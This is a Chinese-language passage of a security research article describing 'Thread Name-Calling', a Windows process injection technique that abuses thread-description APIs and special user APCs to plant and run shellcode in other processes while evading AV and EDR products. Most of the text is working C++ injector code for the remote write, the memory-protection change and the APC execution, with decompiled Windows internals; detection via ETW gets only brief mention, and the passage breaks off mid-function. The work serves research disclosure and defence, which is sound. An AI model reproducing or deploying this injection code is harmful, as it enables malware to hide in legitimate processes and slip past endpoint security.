强调:
- 进程注入是攻击者工具包中的重要技术之一。
- 在下面的文章中 解释了如何滥用线程描述 API 来绕过端点保护产品。
- 提出了一种新的注入技术:Thread Name-Calling,并给出了实施保护的相关建议。
介绍
进程注入是攻击者使用的重要技术之一 。我们可以在几乎所有恶意软件中发现其变体。它的目的包括:
由于恶意模块对进程内存的干扰会造成很大的破坏,因此各种 AV 和 EDR 产品都会监控此类行为并尝试阻止它们。但是,这种监控是基于对注入方法实现中使用的通用 API 的了解。这种猫捉老鼠的游戏永无止境。网络犯罪分子以及 红队成员不断尝试通过使用一些非典型 API 来破坏已知模式,并借此逃避当时实施的检测。其中一个例子是 Atom Bombing 技术 (从 2016 年开始),它使用 Atom Table 将代码传递到远程进程,或者最近推出的 Pool Party (从 2023 年开始),其中线程池被滥用以在不同进程的上下文中运行代码,而 EDR 不会注意到它。Amit Klein 和 Itzik Kotler 在论文“2019 年的 Windows 进程注入”中很好地描述了所使用的 API 的多样性 。
线程名称调用是该主题的另一种形式。它是一种允许使用以下 Windows API 将 shellcode 植入正在运行的进程的技术:
GetThreadDescription
/SetThreadDescription
(在 Windows 10 1607 中引入)——用于设置和检索线程描述(又名线程名称)的 APIZwQueueApcThreadEx2
(Windows 10 19045 中引入)- 用于异步过程调用 (APC) 的新 API
远程内存分配和写入是使用没有写访问权限 ( )的句柄在进程上实现的。得益于此功能,并且由于我们使用的 API 通常与进程注入无关,我们能够绕过一些主要的 AV 和 EDR 产品。在本文我们详细介绍了这种新技术的实现细节,并提出了一些可能的检测方法。PROCESS_VM_WRITE
攻击性用例中的主题名称
在开始之前,请注意,所涉及的函数相对较新,并且未在任何成熟的注入方法中使用。但是,它们并不是“全新的”——它们是几年前添加的,因此我们自然不是第一个研究它们在攻击场景中潜力的人。
Get/SetThreadDescription 可用于:
- 未记录的 IPC:线程名称用作两个进程交换消息的“邮箱”。发送进程可以通过在其线程之一上设置描述将信息传递给接收进程。接收者从线程读取描述并进一步处理。
- 隐藏非活动代码植入,避免内存扫描。这个想法类似于 ShellcodeFluctuation,但除了加密之外,我们还会将代码暂时存储为线程名称(内核模式结构),使其脱离工作集 - 这意味着,用户模式内存扫描器无法看到它。它将被反复检索到工作集中,在一小段时间内执行,然后再次存储为线程名称。
- 从用户模式在内核模式中分配内存,以便可以在与内核模式利用相关的场景中进一步使用
- 远程代码注入
- “DoubleBarrel” – 作者:Sam Russel,2022 年: https://www.lodsb.com/shellcode-injection-using-threadnameinformation :使用线程劫持 的变体注入代码 ,将线程执行重定向到通过线程名称传递的内容促进的ROP链。这种技术不会创建额外的可执行内存空间——这使其有可能逃避某些检测。缺点是对 shellcode 施加的限制(它必须是手工制作的ROP链,包含特定于特定版本的 Windows 的小工具),以及 shellcode 执行后目标应用程序可能不稳定。此外,使用 API 进行直接线程操作很容易触发警报。
- “线程名称调用注入”——本文介绍的技术。要注入的代码作为线程描述传递给目标。接下来, 通过APC
GetThreadDescription
在目标上远程调用该函数, 导致描述缓冲区被复制到目标的 工作集中。使缓冲区可执行后,使用另一个APC调用运行它 。它支持任何自定义 shellcode。此技术不会破坏原始线程:目标应用程序无缝地继续执行。
- DLL 注入变体:通常对于这种技术,我们将 DLL 的路径写入目标的地址空间,然后远程调用 以在目标中加载 DLL。与 使用 和 的经典实现
LoadLibrary
不同 ,此处 DLL 的路径是通过线程名称传递的(远程写入实现方式与线程名称调用相同)。VirtualAllocEx
WriteProcessMemory
- 本文的“奖励”部分描述了该技术。
使用的 API
让我们首先看看对所介绍的技术至关重要的 API。了解其实现的细节对于解释进一步的滥用至关重要。
获取线程描述/设置线程描述
自 Windows 10 1607 起,以下功能已添加到 Windows API:
GetThreadDescription
HRESULT GetThreadDescription(
[in] HANDLE hThread,
[out] PWSTR *ppszThreadDescription
);
SetThreadDescription
HRESULT SetThreadDescription(
[in] HANDLE hThread,
[in] PCWSTR lpThreadDescription
);
它们的预期用途与设置线程的描述(名称)有关。这使我们能够识别其功能,并有助于调试。但是,如果我们以攻击性的心态看待此 API,我们很快就会发现一些滥用的可能性。
要设置名称,我们需要打开一个带有访问标志的线程句柄 THREAD_SET_LIMITED_INFORMATION
。在这个最低要求下,我们可以将任意缓冲区附加到远程进程的任何线程。
缓冲区必须是 Unicode 字符串,这基本上意味着任何以 L'\0'
(双 NULL 字节)结尾的缓冲区。我们可以分配的大小相当大。我们可以 将 0x10000 字节 用于完整的 UNICODE_STRING 结构以及字符串内容。删除终止符(需要空的 WCHAR 来结束缓冲区)后,这 0x10000 - sizeof(UNICODE_STRING) - sizeof(WCHAR)
为我们的数据缓冲区提供了空间。这相当于近 16 页数据,足以存储一个 shellcode 块……
API 实现
所描述的功能在 中实现 Kernelbase.dll
。
#define ThreadNameInformation 0x26
HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription)
{
NTSTATUS status; // eax
struct _UNICODE_STRING DestinationString;
status = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
if ( status >= 0 )
status = NtSetInformationThread(hThread, ThreadNameInformation, &DestinationString, 0x10u);
return status | 0x10000000;
}
}
此函数要求我们传递一个 Unicode 字符串缓冲区 ( WCHAR*
),然后从中创建一个 UNICODE_STRING 结构,该结构将进一步传递。
查看实现,我们可以看到将字符串设置到线程上是通过 实现的 NtSetInformationThread
。返回值是上述低级 API 通过设置 ( )从 NTSTATUS 转换为 HRESULT 的结果。FACILITY_NT_BIT0x10000000
在我们实现远程写入时,我们首先调用 SetThreadDescription
远程线程,使其保存我们的缓冲区。
HRESULT __stdcall GetThreadDescription(HANDLE hThread, PWSTR *ppszThreadDescription) { SIZE_T struct_len; // rbx SIZE_T struct_size; // r8 NTSTATUS res; // eax NTSTATUS status; // ebx const UNICODE_STRING *struct_buf; // rdi ULONG ReturnLength; // [rsp+58h] [rbp+10h] BYREF *ppszThreadDescription = nullptr; LODWORD(struct_len) = 144; RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, 0); for ( struct_size = 146; ; struct_size = struct_len + 2 ) { struct_buf = (const UNICODE_STRING *)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, struct_size); if ( !struct_buf ) { status = 0xC0000017; goto finish; } res = NtQueryInformationThread( hThread, ThreadNameInformation, (PVOID)struct_buf, struct_len, &ReturnLength); status = res; if ( res != 0xC0000004 && res != 0xC0000023 && res != 0x80000005 ) break; struct_len = ReturnLength; RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, (PVOID)struct_buf); } if ( res >= 0 ) { ReturnLength = struct_buf->Length; // move the buffer to the beginning of the structure memmove_0((void *)struct_buf, struct_buf->Buffer, ReturnLength); // null terminate the buffer *(&struct_buf->Length + ((unsigned __int64)ReturnLength >> 1)) = 0; // fill in the passed pointer *ppszThreadDescription = &struct_buf->Length; struct_buf = 0i64; } finish: RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, (PVOID)struct_buf); return status | 0x10000000; }
}
分析此函数可以发现其他一些有趣的实现细节。我们要检索的线程名称的缓冲区在检索过程中分配在堆上。该函数会自动分配一个适合相关 UNICODE_STRING的大小。然后,它会擦除结构的初始字段(Length
和 MaximumLength
),并将缓冲区内容移向结构的开头,将其转换为一个简单的、以空字符结尾的宽字符串。接下来,指向这个新缓冲区的指针将填充到调用者传递的变量中。
如果我们进行 GetThreadDescription
远程调用,在目标进程的上下文中,我们将获得堆上缓冲区的远程分配,并用我们的内容填充它。
结构位置
查看实现,我们可以注意到,我们通过其检索的缓冲区 GetThreadDescription
只是一个本地副本。现在的问题是:与线程关联的原始 UNICODE_STRING存储在哪里?要了解更多信息,我们需要查看 Windows 内核(ntoskrnl.exe
),查看设置/读取它的系统调用的实现( NtSetInformationThread
和 NtQueryInformationThread
)。
事实证明,这个缓冲区存储在内核模式中,由 ETHREAD
→ 中的字段表示ThreadName
。
lkd> dt nt!_ETHREAD [...] +0x610 ThreadName : Ptr64 _UNICODE_STRING [...]
NtSetInformationThread
负责设置线程名称的片段 (在内核模式):
[
[...] Length = Src.Length; if ( (Src.Length & 1) != 0 || Src.Length > Src.MaximumLength ) { status = 0xC000000D; // STATUS_INVALID_PARAMETER -> invalid buffer size supplied } else { PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, Src.Length + 16i64, 'mNhT'); // allocating a buffer on non paged pool, with tag 'ThNm' threadName = PoolWithTag; v113 = PoolWithTag; if ( PoolWithTag ) { p_Length = &PoolWithTag[1].Length; threadName->Buffer = p_Length; threadName->Length = Length; threadName->MaximumLength = Length; memmove(p_Length, Src.Buffer, Length); eThread = Object; PspLockThreadSecurityExclusive(Object, CurrentThread); v105 = 1; P = eThread->ThreadName; eThread->ThreadName = threadName; threadName = 0i64; v113 = 0i64; EtwTraceThreadSetName(eThread); goto finish; } status = 0xC000009A; } } else { status = 0xC0000004; } v104 = status; finish: [...]
我们可以看到,缓冲区分配在 NonPagedPoolNx (非可执行非分页池)上。分配的缓冲区用 填充 UNICODE_STRING
,其指针存储在 特定线程的结构ThreadName
中。ETHREAD
设置事件 会被ETW (Event Tracing for Windows)ThreadName
注册 ,从而可以进一步检测这种注入方法。生成的事件会收集 ProcessID 和 ThreadID 等数据,这些数据是识别线程和设置的 ThreadName 所必需的。
_
__int64 __fastcall EtwTraceThreadSetName(_ETHREAD *thread) { int v1; // r10d _UNICODE_STRING *ThreadName; // rax __int64 *Buffer; // rcx unsigned int Length; // edx unsigned __int64 len; // rax int v7[4]; // [rsp+30h] [rbp-50h] BYREF __int64 v8[2]; // [rsp+40h] [rbp-40h] BYREF __int64 *buf; // [rsp+50h] [rbp-30h] __int64 v10; // [rsp+58h] [rbp-28h] __int64 *v11; // [rsp+60h] [rbp-20h] __int64 v12; // [rsp+68h] [rbp-18h] v7[0] = thread->Cid.UniqueProcess; v1 = 2; v7[1] = thread->Cid.UniqueThread; v8[0] = v7; ThreadName = thread->ThreadName; v7[2] = 0; v8[1] = 8i64; if ( ThreadName && (Buffer = ThreadName->Buffer) != 0i64 ) { Length = ThreadName->Length; len = 0x800i64; if ( Length < 0x800u ) len = Length; buf = Buffer; v10 = len; if ( !len || *(Buffer + (len >> 1) - 1) ) { v12 = 2i64; v11 = &EtwpNull; v1 = 3; } } else { v10 = 2i64; buf = &EtwpNull; } return EtwTraceKernelEvent(v8, v1, 2, 1352, 0x501802); }
}
消除 NULL 字节限制
通过官方 API 设置线程名称会对缓冲区施加一些限制。它必须是有效的 Unicode 字符串,这意味着将使用空的 WCHAR 作为缓冲区终止符。WCHAR 的大小为两个字节 - 因此,如果我们的 shellcode 内部有任何双 NULL 字节,则只会复制它之前的部分。每当通过专用于保存字符串的缓冲区传递 shellcode 时,都会遇到这种常见限制。为了解决这个问题,人们发明了 shellcode 编码器:它们允许将缓冲区转换为没有 NULL 字节的格式。在我们的案例中,我们也可以使用其中一种。
但是,通过分析上述 API 的实现,我们意识到实际上可以从根本上避免这种限制。当线程名称在不同的缓冲区之间复制时,将使用结构中UNICODE_STRING声明的长度以及 memmove
不将 NULL 字节视为终止符的函数。唯一施加 NULL 字节约束的函数是 SetThreadDescription
。在下面,它调用 RtlInitUnicodeStringEx
接受传递的 WCHAR 缓冲区并使用它来初始化 UNICODE_STRING 结构。输入缓冲区必须以 NULL 结尾,并且根据此字符的位置确定要保存在结构中的长度。
我们可以通过使用 SetThreadDescription 的自定义实现为我们的问题创建一个简单的解决方案:
HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size) { UNICODE_STRING DestinationString = { 0 }; BYTE* padding = (BYTE*)::calloc(buf_size + sizeof(WCHAR), 1); ::memset(padding, 'A', buf_size); auto pRtlInitUnicodeStringEx = reinterpret_cast<decltype(&RtlInitUnicodeStringEx)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlInitUnicodeStringEx")); pRtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding); // fill with our real content: ::memcpy(DestinationString.Buffer, buf, buf_size); auto pNtSetInformationThread = reinterpret_cast<decltype(&NtSetInformationThread)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSetInformationThread")); NTSTATUS status = pNtSetInformationThread(hThread, (THREADINFOCLASS)(ThreadNameInformation), &DestinationString, 0x10u); ::free(padding); return HRESULT_FROM_NT(status); }
}
此函数根据所需长度的虚拟缓冲区初始化 UNICODE_STRING,然后用实际内容(可能包含 NULL 字节)填充它。然后,使用低级 API 将准备好的结构传递给线程: NtSetInformationThread
。
队列ApcThreadEx2
在我们的注入技术的实现中,我们依赖于在目标进程内远程调用一些API。
Windows 支持将例程添加到 现有线程的异步过程调用 (APC) 队列中,从而能够在远程进程中运行代码,而无需创建其他线程。在较低级别,此功能由函数:( NtQueueApcThreadEx及其包装器NtQueueApcThread:)公开。Microsoft 推荐的官方高级 API 是 QueueUserAPC – 它充当低级函数的包装器。我们可以自由地将 APC 添加到远程线程,只要其句柄以 THREAD_SET_CONTEXT
访问权限打开即可。
相关 API 经常被滥用于 各种不同的(旧的和新的)注入技术, MITRE 数据库中对此进行了描述。APC 允许通过跳转到现有线程来运行远程代码,这比创建远程线程的常见替代方案更为隐蔽。创建新线程会触发内核回调(PsSetCreateThreadNotifyRoutine/ ),AV/EDR 产品的内核模式组件经常使用它来进行检测。Ex
此外,APC 还为我们提供了向远程函数传递参数的更多自由。在创建新线程的情况下,我们只能传递一个参数 - 而这里我们可以使用 3 个。
但是,使用普通的 NtQueueApcThread 有一个缺点。要将我们的函数添加到 APC 队列,我们首先需要找到处于可警告状态(等待信号)的线程。我们的回调仅在线程被警告时执行。有关如何解决此障碍的详细信息已在 modexp的博客文章中说明。依赖可警告线程会限制我们对目标的选择,并且对它们的扫描会增加注入器的复杂性。
幸运的是,自从 Windows 引入了新类型的 APC 回调以来,这个问题的解决方法出现了。它们由 定义 QUEUE_USER_APC_FLAGS 。自从引入这种类型以来, ReserveHandle
中的 参数NtQueueApcThreadEx 被替换为 UserApcOption
,我们可以在其中传递这样的标志,从而修改函数的行为。从我们的角度来看,最有趣的是特殊用户 APC( QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
),它允许我们注入不一定处于可警告状态的线程:
引 自 MSDN:
即使目标线程未处于可警告状态,特殊用户模式 APC 也始终会执行。例如,如果目标线程当前正在执行用户模式代码,或者目标线程当前正在执行可警告等待,则目标线程将立即中断以执行 APC。如果目标线程正在执行系统调用或执行不可警告等待,则 APC 将在系统调用或不可警告等待完成后执行(等待不会被中断)。
请注意,新 API 对于改进注射方法的潜力已经被研究人员注意到,并在 repnz的博客 中进行了描述。
这种新的 APC 类型也因在应用程序中引入稳定性问题和使线程同步变得更加困难而受到批评(例如 这里)。但是,在我们的例子中,这应该不是什么大问题,因为我们使用它来运行完全独立于正在运行的应用程序的代码,并且不使用任何可能产生并发问题的资源。
支持新增 APC 类型的新 API 已在 Windows 11 (Build 22000) 中正式添加。它由函数公开: QueueUserAPC2,在底层,它由众所周知的新版本实现 NtQueueApcThreadEx
。新函数被简单调用 NtQueueApcThreadEx2
,其原型如下(来源):
系统调用接口
状态
NTSYSCALLAPI NTSTATUS NTAPI NtQueueApcThreadEx2( _In_ HANDLE ThreadHandle, _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject _In_ ULONG ApcFlags, // QUEUE_USER_APC_FLAGS _In_ PPS_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, _In_opt_ PVOID ApcArgument3 );
);
事实证明,我们可以在 Windows 10 上找到此 API,因为 19045
它的版本早于官方支持的版本。
由于这是一个相对较新的 API,与新的系统调用相关联,因此使用它也可以提供机会绕过一些尚未监视它的产品。
我们在线程名称调用的实现中使用此 API 来执行远程函数。不过,使用旧 API 也可以实现线程名称调用的(不太隐蔽的)变体,我们也将对此进行演示。
调度APC
该函数不是我们的技术所必需的,而是一个使 shellcode 执行更加隐秘的辅助函数。
一旦成功将 shellcode 复制到远程进程中,我们就需要运行它。我们决定通过将其起始地址添加到远程线程的 APC 队列来实现这一点。但是,由于我们的 shellcode 位于私有内存中,而不是任何映射模块中,因此直接传递其地址可能会触发一些警报。为了规避此指示器,使用某些合法函数作为代理是有益的。有多个函数允许传递要执行的回调。其中许多函数已由 Hexacorn 在他的博客中进行了广泛的记录。modexp博客 还指出 了一些有趣的补充 。
该函数 RtlDispatchAPC
看起来是个完美的候选。它有三个参数,因此与 APC API 兼容。实现如下:
void __fastcall RtlDispatchAPC(void (__fastcall *callback)(__int64), __int64 callback_arg, void *a3) { __int64 v6 = 72LL; int v7 = 1; __int128 v8 = 0LL; __int128 v9 = 0LL; __int128 v10 = 0LL; __int64 v11 = 0LL; if ( a3 == (void *)-1LL ) { callback(callback_arg); } else { RtlActivateActivationContextUnsafeFast(&v6, a3); callback(callback_arg); RtlDeactivateActivationContextUnsafeFast(&v6); RtlReleaseActivationContext(a3); } }
}
}
为了使上述函数执行我们的 shellcode,我们需要向其传递以下参数:
RtlDispatchAPC (shellcodePtr,0,(void * )(-1 ))
请注意,它 RtlDispatchAPC
不是通过名称导出的,但是在测试的 Windows 版本上,我们可以通过 Ordinal 8 轻松找到它。
图 1 – NTDLL.DLL 符号中的 RtlDispatchAPC
线程名称调用注入简介
现在我们已经介绍了所有重要的 API,让我们深入了解线程名称调用的实现细节。如前所述,它是一种技术变体,允许我们将 shellcode 注入正在运行的进程(与对需要新创建的进程进行操作的技术相反)。
最低访问权限
通常,当我们想要将缓冲区写入进程时,我们需要先打开具有写入访问权限的进程句柄() ,这可能被视为可疑指标。线程名称调用允许我们在没有它的情况下实现写入和远程分配。PROCESS_VM_WRITE
当前提出的实现需要使用以下访问权限打开进程句柄:
HANDLE open_process(DWORD processId, bool isCreateThread) { DWORD access = PROCESS_QUERY_LIMITED_INFORMATION // required for reading the PEB address | PROCESS_VM_READ // required for reading back the pointer to the created buffer | PROCESS_VM_OPERATION // to set memory area executable or/and allocate a new executable memory ; if (isCreateThread) { access |= PROCESS_CREATE_THREAD; // to create a new thread where we can pass APC } return OpenProcess(access, FALSE, processId); }
ssId ) ;
}
根据我们的需求,线程名称调用可以以不同的方式实现。在最隐蔽的(推荐)变体中,我们使用添加到现有线程的 APC 队列中的例程进行远程调用。但是,如果我们想在旧版本的 Windows 上运行它,其中没有新的 APC API,并且我们在所需目标中找不到可警告的线程,我们可以创建一个额外的线程。在这种情况下,需要在我们的进程句柄上设置相关的访问权限:
PROCESS_CREATE_THREAD
请记住,这种改变会增加该技术的检测率。但是,我们发现有些产品足以绕过它。
通常,尽量减少使用的访问权限是一种很好的做法。对于上面列出的权限,我们仍然可以通过进一步完善实现来避免使用其中的一些权限。例如:
PROCESS_QUERY_LIMITED_INFORMATION
– 如果我们不使用 PEB 作为指针存储,则可以避免这种情况(稍后将详细说明)
在注入过程中,我们对目标进程的线程进行操作。关于线程句柄,这些是所需的最低 访问权限:
DWORD thAccess = SYNCHRONIZE; thAccess |= THREAD_SET_CONTEXT; // required for adding to the APC queue thAccess |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description
执行
与远程 shellcode 注入的情况一样,实现必须涵盖:
- 将我们的缓冲区写入远程进程的工作集
- 使其可执行
- 运行植入的代码
借助线程描述进行远程写入
让我们看一下如何借助前面提到的 API 实现远程分配以及远程写入的细节。
- 在我们实施代码注入时,我们必须首先准备适当的 shellcode。由于我们摆脱了 NULL 字节约束,我们只需确保我们的 shellcode 不会阻塞其运行的线程,并且能够干净地退出。
- 从我们的注入器应用程序中,我们需要选择目标中的一个线程,在那里我们可以设置包含我们的 shellcode 的线程描述。如果我们使用带有特殊用户 APC 的新 API,我们可以选择任何线程,但如果我们使用旧 API — 我们必须确保所选线程是可警告的。
- 接下来,必须在远程进程的上下文中检索线程描述,以便将缓冲区读入进程 的工作集。这可以通过远程调用以下函数来实现:
HRESULT获取线程描述(
[在] HANDLE hThread,
[ out ] PWSTR *ppszThreadDescription // <- 我们取回指向已分配缓冲区的指针
);
请记住,上述函数会自动在堆上分配所需大小的缓冲区,然后用线程描述填充它。这为我们提供了远程写入原语以及具有读/写访问权限的缓冲区的远程分配。指向此新缓冲区的指针将填充到提供的变量中 ppszThreadDescription
。
因此,我们需要提前在远程进程中准备一个可以用作的内存地址 *ppszThreadDescription
。它必须是被调用函数可以写回的指针大小的区域 GetThreadDescription
。有多种方法可以实现它:
- 在远程进程的可写内存中找到一些微小的洞穴
- 利用远程进程的 PEB 中的一些未使用的字段
我们决定利用 PEB 中未使用的田地,因为它很容易找到和检索,但如果需要,我们以后可以将其替换为洞穴。
通过检查 PEB中的字段, 我们可以发现以下内容:
[ ... ]
P
[...] PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) PVOID PatchLoaderData; PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO ULONG AppModelFeatureState; ULONG SpareUlongs[2]; // ---> unused field, can be utilized to store our pointer USHORT ActiveCodePage; USHORT OemCodePage; USHORT UseCaseMapping; USHORT UnusedNlsField; PVOID WerRegistrationData; PVOID WerShipAssertPtr; union { PVOID pContextData; // WIN7 PVOID pUnused; // WIN10 PVOID EcCodeBitMap; // WIN11 }; [...]
[ ... ]
该字段SpareUlongs
看起来不错。我们可以通过使用 WinDbg 转储 PEB 来检索其精确偏移量:
lkd > dt nt!_PEB
[ ... ]
+ 0x340 SpareUlongs :[ 5 ] Uint4B
[ ... ]
PEB 具有读/写访问权限,因此通过找到一个指针大小的未使用字段,我们就有了适合远程调用函数写回的存储空间。请记住,在未来版本的 Windows 中,这些字段可能会用于某些系统数据结构,因此必须根据更新调整此解决方案。
首先,我们检索远程 PEB 的地址——我们可以通过调用 API 来完成 NtQuerySystemInformationProcess
:
// the function getting the remote PEB address: ULONG_PTR remote_peb_addr(IN HANDLE hProcess) { PROCESS_BASIC_INFORMATION pi = { 0 }; DWORD ReturnLength = 0; auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess")); if (!pNtQueryInformationProcess) { return NULL; } NTSTATUS status = pNtQueryInformationProcess( hProcess, ProcessBasicInformation, &pi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength ); if (status != STATUS_SUCCESS) { std::cerr << "NtQueryInformationProcess failed" << std::endl; return NULL; } return (ULONG_PTR)pi.PebBaseAddress; }
}
有了 PEB 的基地址后,只需添加未使用字段的已知偏移量,即可在远程进程的上下文中获取其指针:
ULONG_PTR get_peb_unused(HANDLE hProcess) { ULONG_PTR peb_addr = remote_peb_addr(hProcess); if (!peb_addr) { std::cerr << "Cannot retrieve PEB address!\n"; return NULL; } const ULONG_PTR UNUSED_OFFSET = 0x340; const ULONG_PTR remotePtr = peb_addr + UNUSED_OFFSET; return remotePtr; }
至于设置线程描述(又名名称) - 我们可以这样做:
- 在现有线程上
- 这是我们为此目的而创建的
GetThreadDescription
通过将带有函数的 APC 传递给设置它的同一线程来检索名称 (因为这个函数有 2 个参数,并且通过 APC 调用我们可以传递最多 3 个参数,所以它很合适)。
边注:
此函数
GetThreadDescription
要求我们将句柄传递给我们想要读取其描述(名称)的线程。我们可以在与读回名称不同的线程上设置名称。但请记住,此函数将在目标进程的上下文中执行。因此,我们在注入器进程上下文中打开的线程句柄不再有效。在不同进程的上下文中使用它将要求我们复制 命名线程的 句柄PROCESS_DUP_HANDLE
。这意味着,我们必须通过设置来扩展对目标进程的访问权限,因此最好避免这样做。替代方案要简单得多:因为我们通过命名线程本身检索名称,所以使用伪 handleNtCurrentThread()
= (-2) 就足够了,它在自身引用当前线程时始终有效。
在第一个(首选)场景中,如果我们利用进程中已在运行的线程,我们应该:
- 使用新的 APC API,并将我们的函数添加为特殊用户 APC(
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
) - 找到一个处于可改变状态的线程,这样当线程被警告时就可以调用我们的函数
该线程必须处于打开状态并且(至少) THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION
具有访问权限。
在第二种情况下,对于新创建的线程,如果我们将其与旧 API 结合使用,我们还必须确保该线程是可警告的,以便执行我们的 APC。如何执行的示例:
- 在良性函数 (即
Sleep
来自ExitThread
kernel32) 上创建一个 暂停线程,将所需函数添加到 APC 队列,然后恢复它 - SleepEx 在函数上创建一个线程 。此函数需要两个参数,第二个参数定义 Sleep 是否可发出警报。使用线程创建函数我们只能传递一个参数 - 这听起来像是一个问题。但是,第二个所需的参数是布尔值,这意味着任何非零值都被视为 TRUE。在 x64 调用约定中,第二个参数通过 RDX 寄存器传递,因此如果在调用时 RDX 寄存器保存任何非零值,我们的
SleepEx
将被视为可发出警报。这意味着,很有可能所需的值已经设置。
只有在调用我们的 APC后才能执行任何其他步骤。在此之前,我们还没有将缓冲区放入远程进程中,也不知道它将存储在哪个地址。因此,为了传递缓冲区,我们需要第一个 APC。在它完成并写入缓冲区后,我们需要第二个 APC 才能运行它。
wchar_t* pass_via_thread_name(HANDLE hProcess, const wchar_t* buf, const void* remotePtr) { if (!remotePtr) { std::cerr << "Return pointer not set!\n"; return nullptr; } HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION); if (!hThread || hThread == INVALID_HANDLE_VALUE) { std::cerr << "Invalid thread handle!\n"; return nullptr; } HRESULT hr = mySetThreadDescription(hThread, buf); // customized SetThreadDescription allows to pass a buffer with NULL bytes if (FAILED(hr)) { std::cout << "Failed to set thread desc" << std::endl; return nullptr; } if (!queue_apc_thread(hThread, GetThreadDescription, (void*)NtCurrentThread(), (void*)remotePtr, 0)) { CloseHandle(hThread); return nullptr; } // close thread handle CloseHandle(hThread); wchar_t* wPtr = nullptr; bool isRead = false; while ((wPtr = (wchar_t*)read_remote_ptr(hProcess, remotePtr, isRead)) == nullptr) { if (!isRead) return nullptr; Sleep(1000); // waiting for the pointer to be written; } std::cout << "Written to the Thread\n"; return wPtr; }
}
上述函数完成后,我们将缓冲区写入远程进程。我们还获得了指向它的指针。这意味着远程写入已完成。
图 2 – 利用线程名称进行远程写入
此时我们的有效载荷已经存储在远程进程的工作集中。但是,它位于堆上分配的不可执行内存中。
要继续,我们需要执行以下操作之一:
- 在可执行内存中找到一个空的洞穴,并将其复制到那里(最隐秘的选择,不幸的是,在实践中不太可能找到合适的洞穴)
- 分配一个合适大小的新的可执行缓冲区,并将其复制到那里
- 设置包含它的整个页面的读写执行 (RWX) 访问权限(我们不能只将其设为 RX:请记住它是用于堆的页面,并且还有一些其他内容与我们的缓冲区一起存储)
RtlMoveMemory
通过调用具有 3 个参数的from 函数,我们可以通过 APC 将缓冲区从堆复制到不同的内存区域 ntdll
。但是,获取可执行缓冲区则比较困难。
所提出的解决方案都不是完美的,但根据具体情况,它们可能足够了。
分配新缓冲区是最干净的选项,但它有一些缺点。要从远程进程执行此操作,我们必须VirtualAllocEx使用 RWX 访问权限进行调用 - 这是可疑的。VirtualAlloc
通过 APC 进行远程调用是不可能的:此函数有 4 个参数,而使用 APC 的 API 我们只能传递 3 个。
另一种方法是使用我们已经拥有的缓冲区(在堆上分配),然后更改其内存保护。我们可以通过调用 来实现 VirtualProtectEx。在远程进程内更改页面的内存保护仍然很可疑,但这种方法的优点是它所需的步骤比前面介绍的要少。同样,远程调用该函数的本地等效函数: VirtualProtect
与调用 存在同样的问题 VirtualAlloc
。
尽管如此,仍有可能通过ROP 远程调用VirtualAlloc
/来进行内存保护或分配(作为我们的 PoC 代码中的选项之一)。但这种方法也有自己的问题,以及一组不同的可疑指标。它需要使用 API 进行直接线程操作(/ ,/ )。根据我们执行的测试,这会引发更多警报,并导致我们的注入器被许多 AV/EDR 产品标记。此外,如果启用了 DCP(动态代码禁止),则从进程内部分配可执行内存将失败。VirtualProtect
SuspendThread
ResumeThread
SetThreadContext
GetThreadContext
考虑了所有的利弊之后,我们决定简单化,直接调用 VirtualProtectEx。第二个代码片段演示了替代版本,即 VirtualAllocEx
。
一旦我们的 shellcode 进入可执行内存区域,我们就可以运行它了。我们使用另一个 APC 来触发执行(需要具有访问 THREAD_SET_CONTEXT
权限的线程句柄)。此外,我们可以使用上述函数RtlDispatchAPC
作为代理来调用注入的代码。
说明基本实现的代码片段:
bool run_injected_v1(HANDLE hProcess, void* remotePtr, size_t payload_len) { DWORD oldProtect = 0; if (!VirtualProtectEx(hProcess, remotePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) { std::cout << "Failed to protect!" << std::hex << GetLastError() << "\n"; return false; } HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT); if (!hThread || hThread == INVALID_HANDLE_VALUE) { std::cerr << "Invalid thread handle!\n"; return false; } bool isOk = false; auto _RtlDispatchAPC = GetProcAddress(GetModuleHandle("ntdll.dll"), MAKEINTRESOURCE(8)); //RtlDispatchAPC; if (_RtlDispatchAPC) { if (queue_apc_thread(hThread, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1))) { isOk = true; } } CloseHandle(hThread); return isOk; }
}
扩展版本,涵盖不同的可能性:
bool run_injected(HANDLE hProcess, void* remotePtr, size_t payload_len) { void* shellcodePtr = remotePtr; #ifdef USE_EXISTING_THREAD HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT); #else HANDLE hThread = create_alertable_thread(hProcess); #endif if (!hThread || hThread == INVALID_HANDLE_VALUE) { std::cerr << "Invalid thread handle!\n"; return false; } #ifdef USE_NEW_BUFFER shellcodePtr = VirtualAllocEx(hProcess, nullptr, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!shellcodePtr) { std::cout << "Failed to allocate!" << std::hex << GetLastError() << "\n"; return false; } std::cout << "Allocated: " << std::hex << shellcodePtr << "\n"; void* _RtlMoveMemoryPtr = 